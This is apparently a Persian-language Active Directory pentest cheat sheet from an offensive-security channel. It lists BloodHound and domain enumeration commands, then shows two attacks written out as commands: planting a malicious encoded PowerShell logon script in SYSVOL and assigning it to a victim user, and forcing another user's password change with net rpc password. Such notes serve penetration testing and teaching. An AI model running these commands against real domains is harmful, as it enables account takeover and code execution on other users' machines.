آپلود دادههای جمعآوریشده
پس از اجرا، فایلهای نتیجه با پسوند (*.json) در دایرکتوری فعلی تولید میشوند. تمام این فایلهای JSON را در BloodHound داخل مرورگر وب آپلود کنید.
میتوانیم روابط موجود در Active Directory را بررسی کنیم.
بررسی Investigation
# فهرست تمام کاربران
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A
# فهرست تمام گروهها
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com
# نمایش سیاست رمز عبور
net accounts /domain
# لیست Object Active Directory
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com
# دریافت اطلاعات مربوط به دامنه مشخصشده
Get-ADDomain -Server dc.example.com
# تغییر رمز عبور کاربر Active Directory
Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL - یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره میکند.
dir \\dc.example.com\SYSVOL\
سوءاستفاده از اسکریپت لاگین برای کاربران دیگر
اگر کاربر فعلی مجوز نوشتن اسکریپتها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت لاگین سایر کاربران را تغییر دهیم.
# 1. Check the permission
icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\
# 2. Modify/Add a malicious script
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat
# 3. Set logon script for the specified user
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat
وقتی کاربر دیگر وارد سیستم شود (Log on)، فایل .bat اجرا خواهد شد.
Force Change Password Attack
اگر به نام کاربری/رمز عبور یک حساب دسترسی پیدا کنیم و نام کاربری حسابهای دیگر را هم بدانیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. برای انجام این کار، کاربر باید مجوز GenericAll را برای تغییر رمز عبور سایر کاربران داشته باشد.
توضیح پارامترها:
-U:
اعتبارنامه کاربری که مجوز تغییر رمز عبور کاربر دیگر را دارد
-I:
آدرس IP تارگت
-S:
نام سرور تارگت
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"
این دستور رمز عبور کاربر تارگت را با استفاده از دسترسی کاربری که مجوز لازم را دارد، بهصورت اجباری تغییر میدهد.
Microsoft Management Console (mmc)
برای راهاندازی و پیکربندی Active Directory، مراحل زیر را دنبال کنید:
روی آیکون ویندوز راستکلیک کنید.
روی Run کلیک کرده و عبارت mmc را وارد کنید، سپس OK را بزنید.
در پنجره MMC، روی File → Add or Remove Snap-ins کلیک کنید.
هر سه Snap-in مربوط به Active Directory را اضافه کنید.
در پنل سمت چپ، روی Active Directory… راستکلیک کرده و گزینه Change Forest را انتخاب کنید.
نام دامنه را بهعنوان Root domain وارد کرده و روی OK کلیک کنید.
از منوی بالا روی View → Advanced Features کلیک کنید.
#AD
@KavehOffSec